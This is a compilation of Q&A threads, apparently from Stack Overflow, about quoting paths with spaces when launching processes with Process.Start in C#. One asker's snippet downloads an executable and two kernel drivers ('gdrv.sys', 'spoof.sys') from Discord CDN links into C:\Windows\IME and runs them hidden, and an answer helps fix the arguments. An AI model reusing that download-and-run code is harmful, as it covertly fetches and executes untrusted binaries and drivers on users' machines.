This is .NET 2.0 WinForms. I have some code like so
string str = Path.GetTempFileName();
Process p = new Process();
ProcessStartInfo psi = new ProcessStartInfo();
psi.Arguments = str
psi.FileName = <some executable >
p.StartInfo = psi;
p.Start();
Now on the "started" process I get the temp file name by saying args[0]. On Win XP this is causing an issue as the temp file is in C:\Documents and Settings\....
The space is causing an issue, thus args[0] is C:\Documents.
How can I fix this? Do I just have to place str in quotes? Or can I get the whitespace to be ignored somehow?
Yes, use quotes.
You can either wrap the path in double quotes or you can convert the path into its short (8.3) representation using the native GetShortPathName function.
Related
This question already has answers here:
How to pass multiple arguments to a newly created process in C# .net?
(2 answers)
Closed 1 year ago.
This is my code
process = Process.Start(text, text2 + text3);
or
process = Process.Start(text, text2, text3);
I want to be able to open these text2 and text3 with the exe
however its not working please help ive tried for hours but i think im just dumb
WebClient webClient = new WebClient();
string text = "C:\\Windows\\IME\\frAQBc8W.exe";
string text2 = "C:\\Windows\\IME\\gdrv.sys";
string text3 = "C:\\Windows\\IME\\spoof.sys";
webClient.DownloadFile("https://cdn.discordapp.com/attachments/8365247606747777092/8366484520987655168/gdrv.sys", text2);
webClient.DownloadFile("https://cdn.discordapp.com/attachments/8365247056747777092/8366484521621191390/spoof.sys", text3);
webClient.DownloadFile("https://cdn.discordapp.com/attachments/8365124706747777092/83664844808205321153/frAQBc8tt.exe", text);
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.UseShellExecute = true;
process.StartInfo.CreateNoWindow = true;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process = Process.Start(text, text2 + text3);
The first thing I noticed is that when you reassign process in the last line of code, it throws away all the previous lines where you were modifying the StartInfo properties. Since you've already gone to the trouble of setting them, you could just call process.Start() (without any assignment).
As for your question, if you want to start a process and pass it two arguments, then you could modify StartInfo as you were doing, except use "hello.exe" for the file name and set "world.sys earth.sys" as the value for process.StartInfo.Arguments:
Process process = new Process();
process.StartInfo.FileName = "hello.exe";
process.StartInfo.Arguments = "world.sys earth.sys";
process.StartInfo.UseShellExecute = true;
process.StartInfo.CreateNoWindow = true;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
Process.Start();
Or if you don't need to set all those additional StartInfo properties, you could just use the constructor that was built for taking a process name and its arguments: Start (string fileName, string arguments);.
Since you've stated that the typical command line is: hello.exe world.sys earth.sys, then we'd pass hello.exe as the first argument (and include the full path to the executable if it's not in the path environment variable already), followed by the string "world.sys earth.sys".
In code it might look like:
var process = Process.Start(#"c:\temp\hello.exe", "world.sys earth.sys");
You could also combine these two options by setting the StartInfo properties (except for FileName and Arguments), and then call the Start method with the arguments above.
I'm currently working with reg.exe and I'm creating a process with reg.exe as the Process.FileName.
When I try to execute reg.exe like following
REG EXPORT HKLM\\SOFTWARE\\Intel\\IntelAMTUNS D:\\Backups\\Test.reg
everthing works fine.
But as soon as I try to execute it like this
REG EXPORT HKLM\\SOFTWARE\\Intel\\IntelAMTUNS D:\\Backups\\Backup folder 1\\Test.reg
nothing happens - and I know why! The target path isn't put in quotes. As soon as I do that everything works fine again.
My problem now is that I'm handling all my file and folder paths as instances of DirectoryInfo. When I pass the path with quotes as a string, e.g. like that
DirectoryInfo targetFolder = new DirectoryInfo("\"D:\\Backups\\Backup folder 1\\Test.reg\"")
I instantly receive an exception telling me that the given path's format is not supported.
Is there any way to put the path in quotes and still work with DirecotryInfo?
I really need to put my path in quotes - otherwise the command won't work.
Here's some example code:
DirectoryInfo backupPath = new DirectoryInfo("D:\\Backups\\Backup folder 1\\Test.reg");
Process process = new Process();
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.FileName = "reg.exe";
startInfo.CreateNoWindow = true;
startInfo.Arguments = "REG EXPORT HKLM\\SOFTWARE\\Intel\\IntelAMTUNS " + backupPath.FullName;
process.StartInfo = startInfo;
process.Start();
process.WaitForExit();
When I run this code, nothing happens - nor errors or exceptions. The .reg file itself isn't created either.
When I try to run it like this
DirectoryInfo backupPath = new DirectoryInfo("\"D:\\Backups\\Backup folder 1\\Test.reg\"");
Process process = new Process();
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.FileName = "reg.exe";
startInfo.CreateNoWindow = true;
startInfo.Arguments = "REG EXPORT HKLM\\SOFTWARE\\Intel\\IntelAMTUNS " + backupPath.FullName;
process.StartInfo = startInfo;
process.Start();
process.WaitForExit();
I'm getting a System.NotSupportedException telling me "The given path's format is not supported." But I actually need to put the path in quotes - otherwise the command itself won't work...
You are adding quotes in the wrong place: constructor of DirectoryInfo will strip them anyway to normalize the path, so you can skip adding them:
var backupPath = new DirectoryInfo("D:\\Backups\\Backup folder 1\\Test.reg");
You can force quotes around the path when you add backupPath.FullName to the arguments, like this:
startInfo.Arguments = "REG EXPORT HKLM\SOFTWARE\Intel\IntelAMTUNS \"" + backupPath.FullName + "\"";
I have a program that opens a file with this line of code:
Process p = new Process();
p.StartInfo.FileName = #"C:\Users\RandomUser\Documents\Rainmeter\Todo List.lnk";
p.Start();
I am getting an error that "The system cannot find the path specified"
and the path IS valid for sure.
Does anyone know how to fix it?
Edit: It works perfectly fine when the file is an exe file.
You will need to use either the start command or cmd /c followed by the link as argument.
Process p = new Process();
p.StartInfo.FileName = "start";
p.StartInfo.Arguments = "\"C:\\Users\\RandomUser\\Documents\\Rainmeter\\Todo List.lnk\"";
p.Start();
or
Process p = new Process();
p.StartInfo.FileName = "cmd";
p.StartInfo.Arguments = "/c \"C:\\Users\\RandomUser\\Documents\\Rainmeter\\Todo List.lnk\"";
p.Start();
And take care of "long directory names" which need to be enclosed with two " characters.
Try the following
Process p = new Process();
p.StartInfo.FileName = #"Todo List.lnk";
p.StartInfo.WorkingDirectory = #"C:\Users\RandomUser\Documents\Rainmeter";
p.Start();
Lnk is a shortcut, You can use this function to get lnk target path
Public Shared Function GetLnkTarget(lnkPath As String) As String
Dim shl = New Shell32.Shell()
' Move this to class scope
lnkPath = System.IO.Path.GetFullPath(lnkPath)
Dim dir = shl.[NameSpace](System.IO.Path.GetDirectoryName(lnkPath))
Dim itm = dir.Items().Item(System.IO.Path.GetFileName(lnkPath))
Dim lnk = DirectCast(itm.GetLink, Shell32.ShellLinkObject)
Return lnk.Target.Path
End Function
The problem was that the program couldn't access "Program Files" (that's where the shortcut was leading to), so I reinstalled the app into "Program Files(x86)" and that did the trick.
I don't know the exactly way to fix this problem... But I've tried to another device with path "Program file(x86)" It ran, but with my device with path "Program file" It didn't. If anyone can change path when we code into "Program file(x86)". Reply my comment please!!
Can someone please help me out with the syntax here
string sourcePath = #textBox2.Text.ToString();
string targetPath = #textBox1.Text.ToString();
System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo(#"XCOPY C:\folder D:\Backup\folder /i");
psi.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
psi.UseShellExecute = false;
System.Diagnostics.Process copyFolders = System.Diagnostics.Process.Start(psi);
copyFolders.WaitForExit();
I am trying to change this line below to replace c:\folder with (sourcePath) and D:\Backup\folder with targetPath
(#"XCOPY C:\folder D:\Backup\folder /i");
I keep getting source not found when I messagebox like this it looks ok
MessageBox.Show(#"XCOPY " + (sourcePath) + (targetPath) + " /i");
You'll need to debug, I'd start here:
string args = string.format("{0} {1} /i", sourcePath, targetPath);
Debug.WriteLine(args);
//verify your paths (both) are correct
string cmd = string.format("XCOPY {0}", args);
Debug.WriteLine(cmd);
//copy the command and test it out directly in cmd
Also, try passing your arguments....as arguments....
System.Diagnostics.ProcessStartInfo psi =
new System.Diagnostics.ProcessStartInfo("XCOPY", args);
You can look at the documentation for an example of passing with arguments
Nothing there really looks wrong. Perhaps debug it so you can get the text out of it and copy/paste it to Explorer to make sure the paths are valid and there's nothing funky going on?
Also, you don't need to do .ToString() on the .Text property of a TextBox. it's already a string.
I have a simple problem but I don't know how to handle this. That is: I have a simple batch file that remove all file in the folder (for example). I can run it in anywhere but I want to exec it by a application by C#. Everything is allright If the project folder doesn't contains spaces ("Example: C:\Project Test\test.bat" will be error" but "C:\ProjectTest\test.bat" is done").
Below is my source code to run (I say it again: It only error if project folder contain space in folder names). Not error when run file batch if project folder not have space.
Process myProcess = new Process();
myProcess.StartInfo.FileName = "cmd.exe";
myProcess.StartInfo.Arguments = "D:\\prepare.bat";
myProcess.StartInfo.WorkingDirectory = "D:\\";
myProcess.StartInfo.UseShellExecute = false;
myProcess.StartInfo.RedirectStandardOutput = true;
//myProcess.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
myProcess.Start();
StreamReader myStreamReader = myProcess.StandardOutput;
string myString = myStreamReader.ReadLine();
MessageBox.Show(myProcess.StartInfo.Arguments + " " + myString);
myProcess.WaitForExit();
Thanks you.
Try putting script path in quotes:
myProcess.StartInfo.Arguments = "\"D:\\Project Test\\prepare.bat\"";
Enclose your arguments in quotes like this:
myProcess.StartInfo.Arguments = "\"C:\\Project Test\\test.bat\""
or
myProcess.StartInfo.Arguments = #"\"C:\Project Test\test.bat\""
When passed to cmd the arguments must be quoted.
instead of "C:\Project Test\test.bat" use "\"C:\Project Test\test.bat\""